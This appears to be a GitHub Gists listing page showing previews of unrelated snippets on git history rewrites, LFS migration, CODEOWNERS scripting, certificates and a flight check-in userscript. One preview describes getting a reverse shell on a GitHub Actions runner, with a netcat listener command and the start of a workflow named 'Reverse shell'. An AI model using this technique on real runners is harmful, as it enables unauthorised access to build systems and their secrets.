Skip to content

Instantly share code, notes, and snippets.

View joshjohanning's full-sized avatar
:octocat:

Josh Johanning joshjohanning

:octocat:
View GitHub Profile

Rewriting repository history

Sometimes history rewrites are required in order to migrate repositories into github.com. Several factors can dictate the need to rewrite history of a repository:

  • objects larger than 100Mb
  • commits larger than the 2GB push limit

Although rewriting history might not be required for your repository to migrate to github.com, you may consider rewriting history for several reasons:

  • migrate large objects to LFS
  • cleanup previous mistakes or bad practices that caused repo bloat
  • remove secrets from repo history
# given a bunch of folders which are years, and contents which are files of the form YYYY-mm-dd - name - $1234.56,
# this script returns a sum of totals by year
import os
totals = {}
for year in os.listdir('.'):
if os.path.isdir(year) and not year.startswith('.'):
total = 0

How to get a shell on a GH runner

Getting a shell on a GH runner is pretty easy. First, create a linux VM in your favorite cloud provider. Be sure to allow inbound traffic on port 22 and 1337. SSH into that VM and execute the following command:

nc -nvlp 1337

Then run the following workflow in GH actions:

name: Reverse shell
@1ARdotNO
1ARdotNO / addCodeowners.ps1
Last active April 26, 2023 00:59
add codeowners to github repo
param (
[Parameter(Mandatory = $true)] $repoName,
[Parameter(Mandatory = $true)] $teamName, #allows multiple teams speatated by comma
[Parameter(Mandatory = $true)] $orgName,
$CodeOwnerTeam, #allows multiple teams speatated by comma, use this to define what team has the rights to change the codeowners file itself
$branch, #if not specified default branch is used
[switch]$overwrite, #automatically overwrite the existing CODEOWNERS FILE
[switch]$addperms, #automatically add the required perm for the select team. WILL OVERWRITE CURRENT PERMISSIONS
[switch]$enablebranchprotectioncodeowners #automatically add the required perm for the select team. WILL OVERWRITE CURRENT PERMISSIONS
)
@abdulrehmansohail
abdulrehmansohail / git_newrepo
Created September 7, 2022 22:48 — forked from c0ldlimit/git_newrepo
Git: Push a new or existing repo to Github
# Create a new repository on the command line
touch README.md
git init
git add README.md
git commit -m "first commit"
git remote add origin https://github.com/c0ldlimit/vimcolors.git
git push -u origin master
# Push an existing repository from the command line

LFS Migration

A note about OS

By default, windows and mac do not have a case sensitive filesystem. For this reason, I recommend using linux for lfs migration. Also, if the lfs migration seems to take a long time, this is often due to lots of disk I/O. To speed things up, use a cloud linux instance with max disk I/O.

Before migrating to LFS

The first step in migrating to LFS is finding what needs to be migrated. Use git-sizer for this task. Here is a utility script that can be used to run git-sizer on all repos in an org.

Another great tool for understanding blob sizes in a repo is git filter-repo. See these instructions for gathering blob sizing with git filter-repo.

@joshjohanning
joshjohanning / actions-runner-controller-self-signed-certs.md
Last active June 28, 2022 23:06
self-signed certs for actions-runner-controller
  1. Create RSA keys for CA cert, server cert - this will output ca-key.key and server-key.key
openssl genrsa -out ca.key 4096
openssl genrsa -out server.key 4096
  1. Create a ca.conf ca config file
@whatupfoo
whatupfoo / 1-orgs-archetype.md
Last active October 18, 2024 09:17
Orgs and Teams Best Practices

Organization archetypes

The intention of this document is to provide some guidance and suggestions to customers who are wondering how they should structure organizations and teams in their GitHub Enterprise environment. The idea isn't to give hard and fast rules on which approach is better than the other, but to give examples of when one approach might be preferable to another depending on the use case.

1. A single organization with direct organization membership for repository access (not teams)

          ________________
          |     Org      |
          |    ______    |
          |   |      |\  |

| | Repo | \ |

@mikegrima
mikegrima / edit_brave_dictionary.md
Last active October 13, 2024 06:31
Edit Brave Browser Dictionary

Fix Brave Browser Dictionary

If you have ever mistakenly added a word to the Brave browser dictionary, you need to manually edit the Custom Dictionary.txt file.

As of March 2020, the Brave UI lacks a feature to do this.

Where is the file?

This will depend on your OS. Google for where this is on your OS.

The file on macOS is at: ~/Library/Application\ Support/BraveSoftware/Brave-Browser/Default/Custom\ Dictionary.txt.

@stormchasing
stormchasing / Auto Check-In to Southwest Flights.user.js
Last active October 13, 2024 19:49
Auto Check-In to Southwest Flights.user.js
// ==UserScript==
// @name Auto Check-In to Southwest Flights
// @namespace http://www.ryanizzo.com/southwest-auto-check-in/
// @version 1.8
// @author Nicholas Buroojy (http://userscripts.org/users/83813)
// @contributor Ryan Izzo (http://www.ryanizzo.com)
// @contributor JR Hehnly (http://www.okstorms.com @stormchasing)
// @contributor Trevor McClellan (github.com/trevormcclellan)
// @description Automatically check in to Southwest Airline flights at the appropriate time.
// @include https://www.southwest.com/air/check-in/index.html*